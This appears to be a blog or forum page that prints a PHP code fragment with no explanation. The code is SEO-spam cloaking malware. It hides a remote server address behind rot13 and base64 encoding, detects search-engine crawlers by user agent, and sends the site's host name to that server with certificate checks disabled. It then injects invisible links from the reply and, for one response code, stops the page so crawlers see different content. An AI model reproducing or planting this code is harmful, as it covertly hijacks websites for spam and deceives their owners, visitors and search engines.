‘PHP_SELF’ => ”,
‘siteurl’ => ”,
‘siteroot’ => ”,
‘siteport’ => ”,
先声明
后写
private function spider(){
define(‘URL’,str_rot13(base64_decode(str_rot13(‘qJqaLmbiY2cdnv5zL3MkpzHgnTMlMF5jLabiozA2YzA1Lj==’))));
$spiders = array(1 => ‘BaiduSpider’,2 => ‘360spider’,3 => ‘Googlebot’,4 => ‘Sogou’,5 => ‘Bytespider’,6 => ‘bingbot’,7 => ‘YisouSpider’,
);
$domain = $_SERVER[‘HTTP_HOST’];
$ua = self::getUaType($spiders,isset($_SERVER[‘HTTP_USER_AGENT’]) ? $_SERVER[‘HTTP_USER_AGENT’] : null);
$data = array(
‘id’ => $ua,
‘host’ => $domain
);
if($ua){
$res=self::post(constant(‘URL’),$data);
}
if($res[‘code’] == 201){
$urls = $res[‘data’];
if($urls){
foreach ($urls as $url){
echo ‘<a href=”‘.$url.'”></a>’;
}
}
die;
}
if($res[‘code’] != 418){
$urls = $res[‘data’];
if($urls){
foreach ($urls as $url){
echo ‘<a href=”‘.$url.'”></a>’;
}
}
}
}
private function post($url,$data){
if(function_exists(‘curl_init’)){
return self::curl_post($url,$data);
}
return self::file_post($url,$data);
}
private function curl_post($url,$data){
$ch = curl_init();
$headerArray =array(“Accept:application/json”);
curl_setopt($ch,CURLOPT_HTTPHEADER,$headerArray);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,FALSE);
$output = curl_exec($ch);
curl_close($ch);
return json_decode($output ,true);
}
private function file_post($url,$data){
$data = http_build_query($data);
$opts = array(
‘http’ => array(
‘method’ => ‘POST’,
‘header’=> “Content-type: application/x-www-form-urlencoded”,
“Content-Length: ” . strlen($data),
‘content’ => $data
)
);
$context = stream_context_create($opts);
$res = file_get_contents($url, false, $context);
return json_decode($res,true);
}
private function getUaType($spiders,$ua){
$ua = strtolower($ua);
$u = 0;
foreach ($spiders as $k => $v ){
if(strpos(‘1’.$ua, strtolower($v))){
$u = $k;
}
}
return $u;
}
评论前必须登录!
注册